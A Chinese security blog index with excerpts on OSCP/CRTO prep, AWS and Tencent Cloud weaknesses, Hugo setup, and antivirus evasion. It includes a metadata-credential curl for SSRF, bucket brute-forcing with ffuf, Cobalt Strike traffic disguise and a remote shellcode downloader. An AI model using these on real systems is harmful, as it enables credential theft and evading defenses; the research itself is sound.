2025的OSCP和2024的CRTO备考经验

简单分享一下备考体验和经历,希望能帮到新入坑的师傅。 CRTO 价格和内容 CRTO(Red Team Ops)我是2023年买的,因为摆烂加兴趣转移(深入学习了一段时间的windows底层机制)2024年的国庆才考完拿下认证。那个时候买完就打折了,总共就花了4000块,加上lab可能就4500?打折可以更便宜。现在不给中国人买了,会验证信用卡的来源(听说可以使用虚拟信用卡绕过它这个限制,我那个时候,2023年还没有这个限制)。教材内容主要是域渗透相关的,和OSEP高度重合,可以去大纲看看,我这里就不赘述了。 这个地方 :https://training.zeropointsecurity.co.uk/courses/red-team-ops 考试环境用的是最新的windows杀毒(没错,考试环境会一直更新,使用最新的windows版本和windows杀毒,我是自己提前写好了C++的加载器,在攻击机的环境里面编译使用,考试提供了编译环境),随着windows杀毒越来越强,CRTO的考试免杀绕过应该会越来越难。我没走教材的免杀方法,它免杀依赖Kit,不是很灵活,当然对于通过考试来说足够了。 教材讲解了很多Cobaltstrike的使用技巧,你就会发现CS是多么好用又稳定。内容总体来说就是域+免杀+CS的基本和进阶使用方法,价格非常实惠,当初刚毕业身上没什么钱,就买了这个。认可度的话可以看看这个,是官方Cobalt Strike Training Resources指定的课程,CRTO知名度应该后面会越来越高:https://www.cobaltstrike.com/support/training CRTO的浏览器网络问题 由于考试和CRTO lab环境一样,是给个浏览器去访问操作里面的工具,一线城市直连的质量还是不错的,都花钱买了CRTO了,也不缺几十块钱买好一点的专线梯子去操作。里面的机器配置和做lab是一样,体验算不算卡,也算不上流畅,不过比OSCP稳定多了。 CRTO考试经验 很难说到底要准备多久才能通过考试,我想,CRTO的lab要是能流畅完成,考过应该问题不大,我之前就有域渗透经验,复习了几周,准备好命令的笔记(我之前就研究了一段时间AD,严格来说我对AD、底层协议已经非常熟悉了)就预约了考试了,预约之后,你会在你的版面出现一个lab考试的环境,点进去里面有Readme说明,一定要仔细阅读。 考试给了四天时间,我在10点中起床开始考试,我花了1个小时多的时间配置完环境,下午4点左右我就拿到了60分,这足以通过考试,但是我是完美主义者,我决定继续深入研究; 我卡在最后一个域接近7个小时!最后一个域难的离谱,距离考试已经有一段时间了,我现在都记不清楚怎么横向过去的了,当时域横向的命令有问题,我花了很久的时间修复命令,修改工具的源代码排错。 我一天拿下了全部flag,满分通过了考试,哈哈哈哈。 时间没必要卡的太死,如果你累了就休息吧,关机可以省下一些时间,但是注意要做好权限维持,不然后面就掉线了,就很难受;如果你和我一样一天就做完,倒也没必要搞权限维持。最后一个域远远超过了教材里面的内容,不建议新手死磕,做不出来也正常,我现在去做也费劲。考试不需要写报告,交完Flag就等证书下来了。 划重点!一定学好域之间移动和MSSQL的模块! 不然肯定挂科。 考完邮件会发一个链接,然后你就能收到这个认证了: Update:现在教程改版了,这个经验不再适用。 OSCP价格和内容 我去年2024年底在官网买的一年的实验室,花了1w5左右,当时有20%折扣,听说又涨价了。这个认证可以说是越来越贵了,官方为了多赚钱也没办法,而且客户认可度也高,不得不得考了(笑),主要是这个认证可以去部分银行养老,哈哈哈哈,也许有一天我也去养老了,加上公司要接项目看这玩意。内容主要就是web、域、系统提权,现在这个教材版本还加了AWS的云,内容很丰富。 你应该不能体会到一个经常刷顶会演讲,被black hat、defcon、各路卷王的博客熏陶洗礼过的HACKER再去做sql注入、web\域基础的心态,还要被CTF的题目、兔子洞折磨,我TM直接裂开,对我来说太痛苦了,要知道现在现代红队,我们开发的工具都是指纹识别+POC高度精准了,OSCP挂科就就像大学生回去做高考题,还没考上现在的学校一样,这太丢人了。 我见过不少人就考了OSCP\OSEP再考CRTO,但是我这种老油条的经历情况太特殊了,哈哈哈,就反过来了。说实话我对这些内容相当熟悉,还是买了一年的,因为有两次考试机会。如果你买的一年两次,参加补考的价格是$249,可以参考这个: https://help.offsec.com/hc/en-us/articles/29840452210580-Changes-to-the-OSCP 为什么我第一次会失败? 额,绝不是因为我技术不行或者实力不够,如果你硬要说我实力不行,那我也只能承认了,我要是修炼到了化神期还考这玩意干什么,早就飞升仙界了。纯粹是因为我缺乏练习,内功再深厚,招式不练习肯定是不行的,我的岗位是安全研究基本上就是云相关的研究—和这些题目相关性几乎就是0,加上OSCP也故意设计成就是要折磨考生,我TM大意了,没有闪,我当初第一次备考就过了一下oscp里面的实验室,pg是一个都没动,就匆匆上考场了,果不其然失败了(以前有一些幸运儿只练教程的实验室也能过,可能和抽到的题目难易度有关系,也有可能是OSCP+加强的考试难度?) 一定要做完 Proving Grounds Practice这个靶场,虽然很折磨,但务必做完,他送的实验室建议最后练习,因为对比真正的考试比较简单,可以考前增强一下自信心。备考就用这个折磨折磨吧 https://docs.google.com/spreadsheets/d/18weuz_Eeynr6sXFQ87Cd5F0slOj9Z6rt/ ,建议一定还要做完 基本上只能每天打靶练习肝了,没有任何捷径可以走,你就是老红队,研究员不做这里面的八股文一样难受,核心是—-你必须要猜出他的考点,然后做出来!但是3台单机是有无限可能的—-你必须24小时解开,这CTF对我来说太折磨了,限制时间的话也很考验心态。 这是另一个博主的观点,“That being said, as mentioned earlier, the OSCP is still the industry requirement for most offensive security roles in Singapore (and most other countries) - so if you’re looking to join an offensive security team, you will eventually have to bite the bullet and roll the dice on OSCP “—– https://gatari.dev/posts/certified-cert-collector/ ...

December 1, 2025 · 1 min · Theme PaperMod

AWS研究记录(修正版)

本文首发于先知社区,博客此版本内容稍有改动。 先知地址为: https://xz.aliyun.com/news/18560 本系列将记录我研究AWS安全相关过程的基础知识、攻击手法、威胁检测工程等相关技术和思考。先从基本概念、云架构、重点服务开始讲解,结合云的主要风险点和目前高频使用的TTPS攻击手法,最后再简要介绍威胁检测相关的工作和工作方向。个人水平有限,如有错误及时评论指出。 AWS 基础 为了方便新接触云的师傅,还是要先讲一下AWS的基础和环境搭建。首先个人研究,需要准备一张虚拟信用卡,然后去官网需要注册一个AWS账户,建议不要选中国区,选到海外,国内有很多限制。等注册完成登录了,就会进入类似下面这样的一个页面,相信大多数人和我一样,以前从来没接触过这玩意,面对一堆服务图标,绝对是一脸懵逼的状态 让我们慢慢熟悉一下基础概念,如果有系统架构或域渗透相关经验理解起来就会很快,没有也不慌,我们慢慢理解基础概念。 云计算概念 谈云总是离不开这几个概念-IaaS/PaaS/SaaS,方便新人入门就拿实现“发邮件”的来做类比: 基础设施即服务(IaaS):IaaS提供服务器给你,你需要自己开发或购买邮件系统,自己搭建起来配置使用,自己运维管理,非常灵活,但也面临运营维护成本过高的问题。相当于你买了基础的地皮,提供了基础计算环境,但是搭建什么样子的建筑全看厂商自己。 平台即服务(PaaS):PaaS相当于提供一个邮件平台,但是细节实现还需要开发调用服务的API,完善相关的功能,相比于IaaS就少了维护基础计算环境的问题,节约了一部分成本,对于企业开发来说非常方便。 软件即服务(SaaS):SaaS相当于直接提供一个软件平台,类似QQ邮件直接注册一个QQ就能使用配套的服务,完全没有开发层面的负担,把软件更新维护交给了厂商实现,虽然大大节约了相关成本,但是也牺牲了开发层面的灵活性。 进入界面,想要探索或者查找服务,可以使用右上角的搜索界面,里面有大量服务分类:存储、计算、物联网等等 刚才截图页面的面板的服务分类从大类分,无非就是刚刚说这三种,虽然页面上的点击功能足够我们大多数交互,但是传统渗透都习惯于使用命令行来和AWS交互,省去了页面点击布局可能变动导致迷惑的问题。 一般来说我倾向使用AWS CloudShell去执行,只需要搜索里面查找点进去即可使用,它里面已经预装了AWS CLI,直接使用了当前的用户会话作为默认登录: 我们可以检查一下AWS的版本信息: aws --version 也可以检查一下当前用户的信息,这个命令相当于系统中的whoami,会返回一个json数据 aws sts get-caller-identity 它会返回三个字段: { "UserId": "AIDASAMPLEUSERID", "Account": "123456789012", "Arn": "arn:aws:iam::123456789012:user/pacutest" } 其中"Arn"字段的全称是Amazon Resource Name,亚马逊资源名称将作为一个唯一的值关联到特定的资源,很明显Arn里面就标注出来了user/pacutest这个用户名。 想要查看当前用户的权限策略可以使用: aws iam list-attached-user-policies --user-name pacutest 看到下面的没有,我们这个用户居然是管理员策略—AdminstratorAccess AdminstratorAccess策略默认可以访问所有资源,相当于超级管理员,这也是用的最多的AWS托管策略,我们阅读文档看看,文档左侧还有很多AWS托管的策略就不赘述了,记不住也没关系,需要用到的时候就查一下。 JSON 策略文档的内容如下,Effect设置为允许,Action和Resource使用统配符星号指代所有资源: { "Version" : "2012-10-17", "Statement" : [ { "Effect" : "Allow", "Action" : "*", "Resource" : "*" } ] } 值得注意的是,AWS的权限策略非常严格,如果没有主动授予查看用户本身的权限,甚至aws iam list-attached-user-policies 自己都是会被拒绝的,这要是放在windows和linux中简直就是不可思议的事情,如果类比到AD,我们有一个普通用户居然不能导出用户名列表,不能查找策略,简直就是瞎了一样,从这一点来看,云的渗透难度远远比AD更大,攻击面更加收敛。 ...

November 3, 2025 · 3 min · Theme PaperMod

浅谈不安全的腾讯云设计

整理一下过去之前发现的一些小趣事,本文并非批评腾讯云,相关研究和时效性有关,不代表读者当前阅读和未来腾讯云的安全状态,但我分享欲望实在强烈,就在博客简单分享给大家。 无缓解的metadata导致SSRF漏洞默认即可打临时ak sk 之前研究AWS的时候,我发现有metadata的v2版本缓解了ssrf打iam metadata的情况,迁移到腾讯云上就是CAM 角色关联实例打metadata,但是翻找文档期间并未找到相关缓解建议,结合实际实例配置情况,最终得出结论—目前腾讯云没有缓解metadata的问题。 配置过程如下,可以看到我们配置压根没得选: 第二部设置网络和主机就可以看到 此处压根没有版本选择,只能直接选上: 如果绑定了CAM,终端可以直接访问,类似于: curl http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/ 腾讯云SSRF会被拦截,但是目前来说,WAF并不会阻断腾讯云自己的域名 —– metadata.tencentyun.com ,web ssrf漏洞依然可以直接打出临时ak sk ,对比之下aws的设计已经缓解了这个问题,由于SSRF无法控制请求头变成PUT,因此AWS的设计更加安全,而腾讯云在这一点上就不安全 默认策略放通所有地址 默认情况腾讯云放通icmp\ssh\rdp和内网所有访问,稍微比AWS策略更宽松,虽然这些也算不了什么大影响,但是如果服务器默认不出网,意味着相关无直接回显的漏洞将没有直接手段能确认漏洞存在,不出网极大提高了攻击门槛,腾讯云云上的默认网络策略比较宽松,如果有漏洞比较方便黑客操作。 不安全的存储桶名称,导致潜在的横向攻击 我们过一下存储桶的创建就很容易意识到这个问题,在创建存储桶的时候,观察到腾讯云 —实际上有固定的后缀– 1309XXXX,这个是非常明显的强特征;腾讯云自己也意识到默认域名存在安全风险,建议自己配置自定义域名: 黑客可以利用这一点,可以横向发起攻击,由于限定了存储域名的后缀,只需要不断爆破即可发现同意账户下新的存储桶,从而进一步攻击和收集目标环境的信息,访问一个不存在的将会提示NoSuchBucket: 存在根据权限情况会回显不同,这次是AccessDenied: 利用这个区别,可以把NoSuchBucket的过滤掉,然后爆破出存储桶,有不少存储都是没有ACL限制,直接访问即可获取桶内文件,这一点和我们做目录扫描其实没有区别,看字典是否强大,是否有直接列出文件的漏洞。 ffuf是我常用的选项,直接插请求包来fuzz,插入host,插入路径都行,得师傅们自己构造路径了: ffuf -request req.txt -w worldlist.txt 但是这一点真不能说是坏处,名称固定了后缀有效的防止了存储桶废弃之后导致潜在的供应链攻击,这一点腾讯算是加分,好坏中和了。 日志审计缺失,部分控制台事件默认不会被记录 观察到在控制台的策略中,使用鉴权模拟器进行的权限校验活动不会被腾讯云的日志审计收录,这对于黑客确定自己的权限有很大的帮助,在云内进行认证扫描的活动会被大大降低,目前社区没有广泛公开这项隐蔽扫描的技术,但可以遇见如果后续有人武器化这部分扫描原理会使得云内检测非常棘手 地址如下,目前没有现成的SDK可以直接调用,我已经没兴趣实现这部分认证和扫描的逻辑,感觉也是体力活没啥技术含量,也许可以用来规避蜜罐的AK SK? https://console.cloud.tencent.com/cam/policy/simulate?entityType=role&keyword=CSIP_QCSLinkedRoleInGlobalScene 托管实例风险 云服务器有一个非常有意思的功能,可以托管实例到腾讯云上,托管过后的服务器可以执行命令、上传文件,是不是非常像我们用的C2里面的玩意?(笑),实际上不少黑客都喜欢用这个托管来做免杀(本身是白签名的二进制)加上合法流量,使得这个功能定位非常尴尬。如果本身企业在用腾讯云,要区分出来恶意的流量是非常困难的。 后记 上述也谈不上有什么技术含量,就不写总结了,写写感悟吧。在研究过程中,尤其是全新的,尚未有人踏足的领域,研究员必须自己积累大量的基础知识(我的意思是构建整个系统的逻辑),然后从中推演出其中的术法、神通,模仿他人的、复现他人的技术虽然能完成项目上的目标亦或者是其他目的,但终究止步于他人之道。 ...

November 3, 2025 · 1 min · Theme PaperMod

利用Hugo和Cloudflare Pages搭建博客

最近换了电脑,博客已经一年多了,最近更新频率低了,后面会勤快一些把之前研究和学习的都分享出来,(主要是写的太乱了,不整理估计只有自己勉强看得懂,而且有些细节部分的东西时间隔得太长了,我都快忘干净了,整理一下对自己复习也有帮助);先分享一下最初搭建的完整流程,这也是我能想到的最安全、最方便、最优雅的博客搭建方法,不出意外应该会一直用下去。 选取的原因 个人隐私考虑:Cloudflare Pages托管在Cloudflare上,不必自己购买服务器,使用的是Cloudflare的全球网络,不存在中心化的服务器,而且可以配置自己的域名,域名不会保留个人信息,会默认替换为Cloudflare的注册信息,而且可以有“电子邮件路由”功能,可以对外使用我自己的域名,启用邮件转发来隐藏我真实使用的邮件,提高一点点隐私和不必要的麻烦 博客安全考虑:背后博客用的是Hugo,Hugo纯静态的页面直接使得正面的攻击面收敛为0,不存在被常规漏洞打击和未来0day打击的风险,同时使用了Cloudflare的CDN,默认提供了强大的DDOS保护,不存在被打下线的风险,博客部署在Cloudflare全球网络上,整体安全系数接近绝对防御。 博客颜值考虑:且Hugo的主题很漂亮、也很丰富,如果看腻了也可以随时更换主题,轻松迁移更替 社区维护考虑:目前社区一直积极活跃,已经83kstar,业内公认的博客搭建方法,应该能繁荣好多年,虽然现在配置也很麻烦,但好在用的人多参考资料也多 搭建流程 前提准备: 注册一个Github账号 注册一个Cloudflare账户,需要信用卡 本地安装好Git,如下图 提前去 https://github.com/gohugoio/hugo/releases 下载好hugo的对应的二进制文件,并且把它的目录加入你的电脑的环境变量,这样后续方便切换不同 Github上创建博客的项目: 创建完毕后,记下你自己的这个,等会要用这个地址推送hugo 博客到项目中: hugo.exe version PS D:\blog\zeroday> hugo.exe new site zeroday Congratulations! Your new Hugo site was created in D:\blog\zeroday\zeroday. Just a few more steps... 1. Change the current directory to D:\blog\zeroday\zeroday. 2. Create or install a theme: - Create a new theme with the command "hugo new theme <THEMENAME>" - Or, install a theme from https://themes.gohugo.io/ 3. Edit hugo.toml, setting the "theme" property to the theme name. 4. Create new content with the command "hugo new content <SECTIONNAME>\<FILENAME>.<FORMAT>". 5. Start the embedded web server with the command "hugo server --buildDrafts". See documentation at https://gohugo.io/. ...

September 7, 2025 · 3 min · Theme PaperMod

动态逃逸杀软的艺术

本文首发于先知社区:https://xz.aliyun.com/news/15923 本文分享的动态逃逸杀软,主要聚焦在流量、内存、行为上进行规避,并且组合了间接系统调用、反调试、反沙箱等技术进一步对抗杀软,也为后续综合逃逸EDR/XDR打下良好的基础,测试使用企业版卡巴斯基、火绒6.0、360开启晶核状态,完整代码已经上传Github 流量规避 Cobalt Strike为了提供了非常灵活的流量调整,我们需要修改profile中的流量,我这里的配置修改了热门项目的4.9的内容,默认的jquery流量已经被杀毒和EDR标记严重,卡巴斯基对于这种流量是直接秒杀的,而且即使是启用https监听对于杀毒没有意义,杀毒安装的时候默认就把自己的根证书安装上了系统,所以是可以解密https,如下图 需要提前说明,如果VPS被沙箱和情报标记为恶意ip那无论怎么改流量都会秒杀,我搞了一下午发现无论怎么改都过不了卡巴的流量,后面注意到可能是我服务器ip被拉黑了 威胁原因是云保护,换个ip就行了: 为了修改流量,需要快速学习profile的语言,阅读文档,我们可以知道http-get部分是拉取请求服务要执行的内容,为了区分不同的beacon,metadata就是加密好的元数据,为了让metadata看起来不可疑,使用了base64url对元数据进行编码,同时用header指定了Cookie头,用prepend添加一些正常的数据 我们可以运行一下c2lint看看流量呈现的效果 ./c2lint endlessparadox.profile server是控制响应output字段,mask代表随机xor加密,base64放在后面会进一步编码加密的流量降低流量的熵值 大部分师傅都是做web出身应该很容易理解这些配置文件字段,流量效果如下,完全融入正常流量: 再看一下http-post,这部分是beacon发送执行命令和任务的结果,id来确定任务序列,output自然就是任务的结果,处理也就经过了mask加密和base64url编码 下面就是模拟的流量请求: 在原有的基础上修改还是比较容易,上面的流量就是我用bp抓取了B站的流量,借此模拟合法B站的请求,原版的github里面的请求对着一个静态资源发送POST请求确实是很可疑?师傅也可以抓取其他流量,按照正常的网站修改就好了。 分阶段的shellcode不会加密流量非常坑,同时为了避免空间绘测识别我的C2我关掉了host_stage,当c2lint所有检查通过之后就可以愉快的拉起cs去测试了 网络获取shellcode 为了分离shellcode和加载器,我使用内置windows api的InternetOpenA去获取远程服务中的shellcode std::vector<unsigned char> DownloadShellcode(const char* url) { std::vector<unsigned char> shellcode; HINTERNET hInternet = InternetOpenA("MyApp", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); if (hInternet) { HINTERNET hUrl = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_KEEP_CONNECTION, 0); if (hUrl) { DWORD bytesRead = 0; const DWORD bufferSize = 4096; BYTE buffer[bufferSize]; while (InternetReadFile(hUrl, buffer, bufferSize, &bytesRead) && bytesRead != 0) { shellcode.insert(shellcode.end(), buffer, buffer + bytesRead); } InternetCloseHandle(hUrl); } InternetCloseHandle(hInternet); } return shellcode; } 自解密的shellcode 我现在不想引入其他算法再去解密我们的shellcode,硬编码key不是最佳实现,目前常用的算法总会被少数几个杀毒和edr标记为可疑,我们应该处理shellcode,实现自解密,不过对于我这种一般的开发者纯汇编实现有些过于困难;而且有枪不用,用气功,怎么成为一代宗师?所以我这里使用了Sgn工具,它会帮我们处理shellcode实现运行时候自解密 ./sgn --arch=64 -S -i shellcode.txt -S是代表安全生成shellcode, -i指定我们要处理的shellcode文件,–arch=64代表指定处理64位的 它处理Payload的流程如下: 根据大佬写的算法随机空间非常大,杀毒别说抓特征,写出Yara规则都不可能: 需要注意一个问题,自解密的Shellcode是需要内存区域为RWX权限,对付杀软倒是还行,对付更厉害的EDR/XDR会被重点关照,因此自解密的shellcode也不是什么灵丹妙药,最多作为一种备选的方案 Windows API通过系统调用 我们用Windbg打个断点到VirutalAlloc这边,跟进去来看看正常API调用的流程,注意堆栈调用和反汇编区域: 右下方是正常windows api调用的一个正常路径,最下方这两个是线程启动正常的调用,我们暂时不管: 07 00000054`5532fa40 00007ff8`9a76af38 KERNEL32!BaseThreadInitThunk+0x1d 08 00000054`5532fa70 00000000`00000000 ntdll!RtlUserThreadStart+0x28 和程序有关入口其实是就是main函数,也就是callback!main+0x99,其他都是一些C库的东西,和windows api没关系: ...

May 3, 2025 · 9 min · Theme PaperMod